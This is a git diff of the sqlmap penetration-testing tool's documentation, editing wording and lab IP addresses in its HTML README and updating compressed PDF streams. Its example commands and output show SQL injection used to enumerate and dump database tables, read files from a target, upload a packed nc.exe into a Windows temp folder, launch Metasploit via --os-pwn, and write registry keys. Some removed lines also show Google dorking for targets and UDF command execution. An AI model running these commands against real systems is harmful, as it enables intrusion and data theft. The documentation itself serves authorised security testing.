diff --git a/doc/README.html b/doc/README.html index ef1899571..0c2b0824d 100644 --- a/doc/README.html +++ b/doc/README.html @@ -361,7 +361,7 @@ list of specific parameter(s) to test. requests (multi-threading) to speed up the blind SQL injection techniques. Vice versa, it is also possible to specify the number of seconds to hold between each HTTP(S) request. Others optimization switches -to speed up the exploitation are implemented as well. +to speed up the exploitation are implemented too.
Cookie header string support, useful when the
web application requires authentication based upon cookies and you have
@@ -1132,33 +1132,6 @@ first 100 results for the Google dork expression with GET
parameters asking you if you want to test and inject on each possible
affected URL.
-Example of Google dorking with expression site:yourdomain.com
-ext:php:
-
-
-$ python sqlmap.py -g "site:yourdomain.com ext:php" -v 1
-
-[hh:mm:38] [INFO] first request to Google to get the session cookie
-[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are
-testable hosts
-[hh:mm:41] [INFO] sqlmap got a total of 59 targets
-[hh:mm:40] [INFO] url 1:
-GET http://yourdomain.com/example1.php?foo=12, do you want to test this
-url? [y/N/q] n
-[hh:mm:43] [INFO] url 2:
-GET http://yourdomain.com/example2.php?bar=24, do you want to test this
-url? [y/N/q] n
-[hh:mm:42] [INFO] url 3:
-GET http://thirdlevel.yourdomain.com/news/example3.php?today=483, do you
-want to test this url? [y/N/q] y
-[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example3.php?today=483
-[...]
-
-
-
-
-
Switch: -c
Rather than using all hosts parsed from provided logs with switch
-l, you can specify valid Python regular expression to be used
for filtering desired ones.
Example usage:
+Example of valid syntax:
@@ -1983,22 +1956,23 @@ database name is not specified, the current database name is used.
You can also provide the -C option to specify the table columns
name like the one you provided to be enumerated.
-Example against a MySQL target:
+Example against a SQLite target:
-$ python sqlmap.py -u "http://debiandev/sqlmap/mysql/get_int.php?id=1" --columns -D testdb \
+$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb \
-T users -C name
[...]
-Database: testdb
+Database: SQLite_masterdb
Table: users
-[2 columns]
-+---------+---------------+
-| Column | Type |
-+---------+---------------+
-| name | varchar(500) |
-| surname | varchar(1000) |
-+---------+---------------+
+[3 columns]
++---------+---------+
+| Column | Type |
++---------+---------+
+| id | INTEGER |
+| name | TEXT |
+| surname | TEXT |
++---------+---------+
@@ -2028,7 +2002,7 @@ database name is used.
-$ python sqlmap.py -u "http://debiandev/sqlmap/firebird/get_int.php?id=1" --dump -T users
+$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
@@ -2208,41 +2182,11 @@ sqlmap can also remove them from the database for you.
These techniques are detailed in the white paper
Advanced SQL injection to operating system full control.
-Example against a PostgreSQL target:
-
-
-
-$ python sqlmap.py -u http://192.168.136.131/sqlmap/pgsql/get_int8.4.php?id=1 --udf-inject -v 0
-
-[...]
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: PostgreSQL
-
-which is the local path of the shared library? udf/postgresql/linux/8.4/lib_postgresqludf_sys.so
-how many user-defined functions do you want to create from the shared library? 1
-what is the name of the UDF number 1? sys_eval
-how many input parameters takes UDF 'sys_eval'? (default: 1)
-what is the data-type of input parameter number 1? (default: text)
-what is the data-type of the return value? (default: text)
-do you want to call your injected user-defined functions now? [Y/n/q] y
-which UDF do you want to call?
-[1] sys_eval
-[q] Quit
-> 1
-what is the value of the parameter number 1 (data-type: text)? echo test
-do you want to retrieve the return value of the UDF? [Y/n]
-return value: 'test'
-
-do you want to call this or another injected UDF? [Y/n] n
-do you want to remove UDF 'sys_eval'? [Y/n] y
-[12:00:10] [WARNING] remember that UDF shared object files saved on the file system can only
-be deleted manually
-
-
-
+Use switch --udf-inject and follow the instructions.
If you want, you can specify the shared library local file system path
-via command line using --shared-lib option.
+via command line too by using --shared-lib option. Vice
+versa sqlmap will ask you for the path at runtime.
This feature is available only when the database management system is
MySQL or PostgreSQL.
@@ -2271,7 +2215,7 @@ file:
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
+$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
--file-read "C:/example.exe" -v 1
[...]
@@ -2282,14 +2226,14 @@ back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
-C:/example.exe file saved to: '/tmp/sqlmap/output/192.168.136.131/files/C__example.exe'
+C:/example.exe file saved to: '/tmp/sqlmap/output/192.168.136.129/files/C__example.exe'
[...]
-$ ls -l output/192.168.136.131/files/C__example.exe
--rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.131/files/C__example.exe
+$ ls -l output/192.168.136.129/files/C__example.exe
+-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
-$ file output/192.168.136.131/files/C__example.exe
-output/192.168.136.131/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
+$ file output/192.168.136.129/files/C__example.exe
+output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
80386 32-bit
@@ -2320,7 +2264,7 @@ $ file /tmp/nc.exe.packed
$ ls -l /tmp/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /tmp/nc.exe.packed
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.aspx?id=1" --file-write \
+$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
"/tmp/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
[...]
@@ -2483,7 +2427,7 @@ slide deck
-$ python sqlmap.py -u "http://192.168.136.128/sqlmap/mysql/get_int_51.aspx?id=1" \
+$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int_51.aspx?id=1" \
--os-pwn -v 1 --msf-path /tmp/metasploit
[...]
@@ -2552,7 +2496,7 @@ provided key, with --reg-data value data, while with
-$ python sqlmap.py -u http://192.168.136.128/sqlmap/pgsql/get_int.aspx?id=1 --reg-add \
+$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add \
--reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
diff --git a/doc/README.pdf b/doc/README.pdf
index 8652d3735..1a6f6a575 100644
--- a/doc/README.pdf
+++ b/doc/README.pdf
@@ -940,16 +940,18 @@ endobj
/ProcSet [ /PDF /Text ]
>> endobj
544 0 obj <<
-/Length 1509
+/Length 1516
/Filter /FlateDecode
>>
stream
-xÚíZËZ£HÝç)Xº®@ÍÎkÏô¨±5®ìþæÃ¤™�æÒê<ýTQÆ@ŒÒj_Â&$„�äœÿrþSŒ™Œ÷ƒ¯(ŽÀ€†‡�2fŒ£Áåg`LÄùpó�›òªÈ ®/Žsã|ðq°;¼;DÐ`s‘kŒ¦êØa˜£‰qiî
OF'£sëóèûCH—.%.v ÷*/DòŠÐ?Jý t¦ÙÙû�aâ;ÀGìÂÔ§¨ƒ-„Ì3þµàYþà.Æ¥íaÏt,›ð=ÂØÜå7ø¾t!„Ì„lu90ƾãynÍœw�óÏÑèÔ²1Ææ$ȃÕ/¡âŠžŠW!49AËœ”I‹ÐRÒŠœõ‘_%í^’| yKnc⸌V—]ó`ÂÓFjú[›ŒÝز™ïP„›œáçpv‘ñÔÞ™ñ8oá�RÇ…ðqÞ €ä²òV_ÔÆ9—9·;ò’Îø”§
-úÕÌOyœ!Dé¶6½®¬ìxiÖ¼{Ö¨fíà6OÕ£ªnEú4Sq‘™5XpÙ–7¬�MС/¹
°H“<±lä›ãd®NE~ÍcKœÊÃq�‡I¼ú|ô{6–nqß‚³÷œÇ<ÍÃO 22ôþ…‚½PØP ÐO€‚sñ kd-ä™·w--÷ÃȦJÒ…
¦ÙØçó@ë�b⪌ožËS7’.b¹|‡cyòúaíÇfÚ>o
-}ö»ïg%ÀR…À²]ù9'ñ$SðÉŠ"[è�7ó4L“TW•<ŒxRèwÅÇc>n+-±_|VëÌ*d�ƒÛ0’@‘B*–!\”§4¤©z#™VÑ›§!×\Ü\«`'¦(á«q¾ú2#
µãûþÏW{!R †óœ§a<Óÿ!Hg<ÏÔž¦I´TŽ}ó[8á“Õ]¾œ'úEVß+å³bhxùí¢Ô‚Rf¥(ųf¼2�¾ºÈB]ðÂ
-¯K`n~“h$¡ÆâN"‘úŸf<ËîcB'³Œ5Q:Õ‹I
B®p½“²Á4W1IÊOË[«WQ >VƯ½ˆ³b<_7-æJo#]×ë‚j+€›íÈvS‹h;r¸‰þ×*„<ŸôÞÕËô,û±nL¤¶w‹x2×…/y„7—Òÿø7
-
©]Æa‘/ªö¾Hù$lmï¾{:—ªüqcÊû›ó…½3Ë¢Ï%‹‘¾Í Ü�Ò`àäâèh“Ðem™°U^^¬+o/‰ÇEšj›â^éʱ\
-•¥Ñ|�Æ`�ôX¯ŸöHíÓß�ÔáüþLʹáÅé?{Ó½KÈŸ‘„¼B›˜ÙB)G¥‰Y,sõ“Ç‹Ÿ}„Æ•%ÕÊò¯øß5C0£½�|å^‹»-uÓZkŽ,_Œ‰Y\UŠs¤AÄÅ4$S"+sbµùº¸_Öþ®@kÁy(ñOÒqå/U†‡ÜxpdúUÄÁŒGK�BÔ¨»,ç•¿"k¤Ÿïmƒr¡µv|(“…6¨ÄÈUy*¡öÈ[‚DžÝi-ïöŠ,¯ü¥°®Ü:ñK—cž“FÆC¶=%¹sÚ!0ér�
")´Ë¤ÁWvœ2¨Zö¹pk·u£a�XqµXÙ�U¬xÌïÉ+mÈÛÌÚÒj•rÄ•
0oìi`¸§íí³4©ªÍY˜}iT1Âz´\KòîYª´Òh¸?üCµýSÙõƒ™«…’q‰ ÌZ|OoOµbîvì?žî?jÜR+øq(-�æRî3àÅ×ÝnÈ«;PËf1Y”›6ê•ÁzâØß=>¯l»LÍI\
Ó¤Zg#n—ƒ 4µÏt5c½ Y»Uá:1ïíâ4¡AKµ¤¹öûr
¹=¸§ç§¡Çn_òõuW8ãOi¨M‰ÆQØÃ^º•{ÝZ‚o�Þk¨ƒÛœÇ™\«ÔÛM6»NÊUª6çDªþË-¬�†uàJÁ*b�£ÁÿU¸"†
+xÚíZK{›8ÝûW°„T/@š]šGg:mœ&îªí7±e‡©—G“̯ B‰cêôe6Æ`!ð9÷qî•€±0€ñjôeÅÐð‘á3à@ÆŒi4úð 3qýµÂ¨q]ŽŠâQq\£w£—“Ñ‹
æ0yÆd®æÀî1™ÌÃñéäøtra}š¼~qÝÆPâa 1W9É# _J½PºÐovþjdØ„PPqÄ!LÝå:ز!@È<ç_
+žå÷f1>Ø>öMDz] ¾å@ÛÁ,¿ÁóÖÐ…2ÒMÔ!ä0ÀRÇ÷½š9
+î !染əecŒÍY�ëqň�Šg!´9AMNJ§E¨á´Âg)¢•Ó&Éç�wø6&ŽÇÜjØfÎ�ü@V¾×ƒ:9b9Â;‚Ù†¤s>ç©‚~ݳÄWDg¹î¾&½.ÖØÌÀŽï"͚ǚ«Y;¾ÉÓ@å¨*[…¾ÍT2³Ûó„Õ"¡ó zä%¯¥Vi’'–�¨9M–êRPäW<¶Ä¥<œy˜Äëï@Ñï™XúÙ}ÎþSpžò4?LÈüÉÐûø2ö�J€~.¸°FÖB¾ysÛ‘bñPŒlŠ$}Ø`š�#¾¤±Þ*&.Kûæ¹¼t-9á–Ë_x0•¯îÇ~l¦Ýõ¦Ðg¿kð– Ÿ
+y#…B`Ùž€ü‚O“x–)ødD‘)ôZ‚„ù=æIª£JF<)ô¯âö˜O»BFì¯ÕžŽl³~†
+Ù·ÁMI ‹H!K.ÊKÒTý�Ì+ëÍÓ�k.®¯”±S„ðu;o€Þd¤¥v(¥Ï{{„@'á2çi/ôÒÏ3õŸçi5Â15¿†3>[Ðåé2ÑY=WÊÅ2Ððò›U©¥(ÌJQŠom{e¾ûì"«^Xáu` Ìͯ�$ÔXÜJ$’BÿÓŒgÙ�Mhg–¶&B§:™Õ ä
+×[ùQ!Ìse“¤¼[N΢@ÜVÚ¯½ˆ³b:�›Ë{¡·e‚žç÷AµÀ�èÙÝM-¢Û‘ã•p”ð¿N!äS2ô®vÐVíÇ:1‘ºýø²ˆgKø’Gxó\wÀ¿þ@Cê.ã¸ÈWUz_¥|v¦wêÁA?ëûà�[UÞßœ¯ìƒeX}Þ
+YŒh§@Zœ¾óf“Ðe]ž°W½¼>XWM¼Ã$žiªÛwJW–åR¨4Jó‡4ƒdÀúáj�Ô}º··ï´9¿:—rnüþìŸÃñéá�%äÏDB^¡MÌl¥”£R‡Ä,VºúÉåÅÏ^BãžÊÒÕÊò¯øßŠ`æBò™s-î·ÔíÖZsbQQ&fypY)ÎU�Õ�t‰¬ô‰õäëáaY{mü+Áy"ñOÒiÕ_ªrãÁe�é³(ˆƒ�‰BĨÛ,çUE0Ör?êÿzÊ¥”x§P&+Ý %WÕSÙµO¾'Hdë4èÖòî°Èòª¿Ö‘[;~ÙåX&Á¬åñ�íOHþ6̆é6cliM¡»L|ÕŽS
ªŽ½FÜÛmE�4¸=ÅŠ§ÅÊ‘Hl�bÅgt$Ï´!o3k�V«”7\µ–=
´}/mª*AsfŸ[QŒ°í�§$wkàÕZi2>ÿ¡Òþ™ÌúÁ‚ÕBÉ4‰D
f}OŠ÷LJvš|�T¹¥VðãP¶tÚKqxð€�¯?zý2�_g ŽÍ¢²(7mÔ+ƒuÅqôòíEÕ¶ËT=‘ÄU2OªuÆ0âvY˜@S÷™.—a¬$ënUøP1gvímñý:âËXÒÞ ƒÝ]BîCèùiè±»—|©Î
+'a¼àé*
uS¢µGİ]§òž)�ÞµNï4ÔñMÎãL®Uêí&›»Nª«TmΉTü—[X5×û�+ëˆÝ?OFÿ7©"€
endstream
endobj
543 0 obj <<
@@ -1227,15 +1229,15 @@ endobj
/ProcSet [ /PDF /Text ]
>> endobj
586 0 obj <<
-/Length 1455
+/Length 1456
/Filter /FlateDecode
>>
stream
-xÚíZIsÛ6½ëWðÔP3%C,\Ð[/ÓLOlyrpr€)HbÃÅI»þ÷ Pʶh¥µ–‹J M½÷á}cj8ÆÙàï£c džOb„Éàú»cŒÅç
ÇÆ$0îëU‰�½@Œ±q9ø28
ÞŸB`›xÐ3Fùd䣱qm~8ÿ<:ù<º~}|
-Ü…¥ØC¶Å³ê…¨Z1pÔKÉâSõfgÃÂ8°�@ŒÈƘȻ\›-à@hž¤C˜eÂ8-¢,m=͸¶ˆã›öÐrç…&d½^9¼Ùÿ·$ €˜ÐŽ-mâÃ�íûÞœ,º ÆæMSÆ5–÷ÀÄzC?z�¨˜¹dy^m !d–¹NvÝîùÏhAŠ–%ç¬Ö¸¢¢›cZК3�ä”î9&‚L`ÅÄ1+XXÈýq?cÅLl‘ú"ã’™4Sߊ¯ä$×öT½0Êå'TsFå‡ã$J£¼þ,Óö ç��a¯�5 òr@ŸÄ[wý¢„¦tÊ’–çyÁ’G`òå×q Ü>ëܘÍy¤4ËIÈi8„¾ùãeP#|3—á®§·4Ïï«¥K^f4Ÿ±\÷ÏèõPm#ö&àÑ]³©þ“ƒËéO×µNàHà‚ÍdzXÇÌ}ãaÜÆ€$½�|—·×ë[Í'[äOIwœ¡å ð37…Û¸R*:frrÓLòjÂÄD"ˆM�_‡ �ìr°1à$È §Â_¹¤,.“TãûîŽDü]¡rúÀ%ìÇer«^U‰�:|“Œ�v5€ï2ò~h£e´i·`oD¥)Ïáý˱:}ÇñKFyXá7“`N* 3Þ’‹_t$_̤žðŽÙBä;ÕCèã<] ðE©²Ê°Ì‹,‘æ{ùå“
-ù¡æóðcY–=¼…‚~&mu×/«�Å…Ð<âeã%'µLà{‡"åÆYƒýŠÎÀ±U�£Ñ&…§Žjnb±™Òÿ”&]jïïýxp:(€OQÐŽ«ÁÚƒ-ÑîUb¤X]‰lݳoÂ)SÅ£I™†Å¼"¥±°³kü½«êwzéõ¤Ç¤ ‘ž?jˆ—]uUJiBÏ%Žðœ#}s\çêøT@¯‘º[ëŠQ_ë†ÒºO£&QZ¬PÑ0dyGMZˆ?‡¥U$5öÁèx¡Ù�ÍÊÔæ&¼ÙóŽI»Ž&쮪u3þn¾oWÄk›mƒº£õ�)lœéÕmœµ`]ÄEd±ÙÆA
܆H÷$Eåüvh‰”©>K’Nuy)è�¹¬J¬î†õR-\$þ¡?¾Ò¡º=*šJ“øR~œòiô™¢®ò¨f$&’Ëv3#Ì’¤jªiÙ±¿í¢í®/-¨‘–ó²°²‰u3o7V¥„&T™”±Ä1ÌÒ´Ž+l«o?KÜý'+¿åÕ_y÷/�ÐG,wTsÈ[Ém¼¾Ê�¥r|�Òq
-÷*›álZY^^ƒ'�tUxâ�àž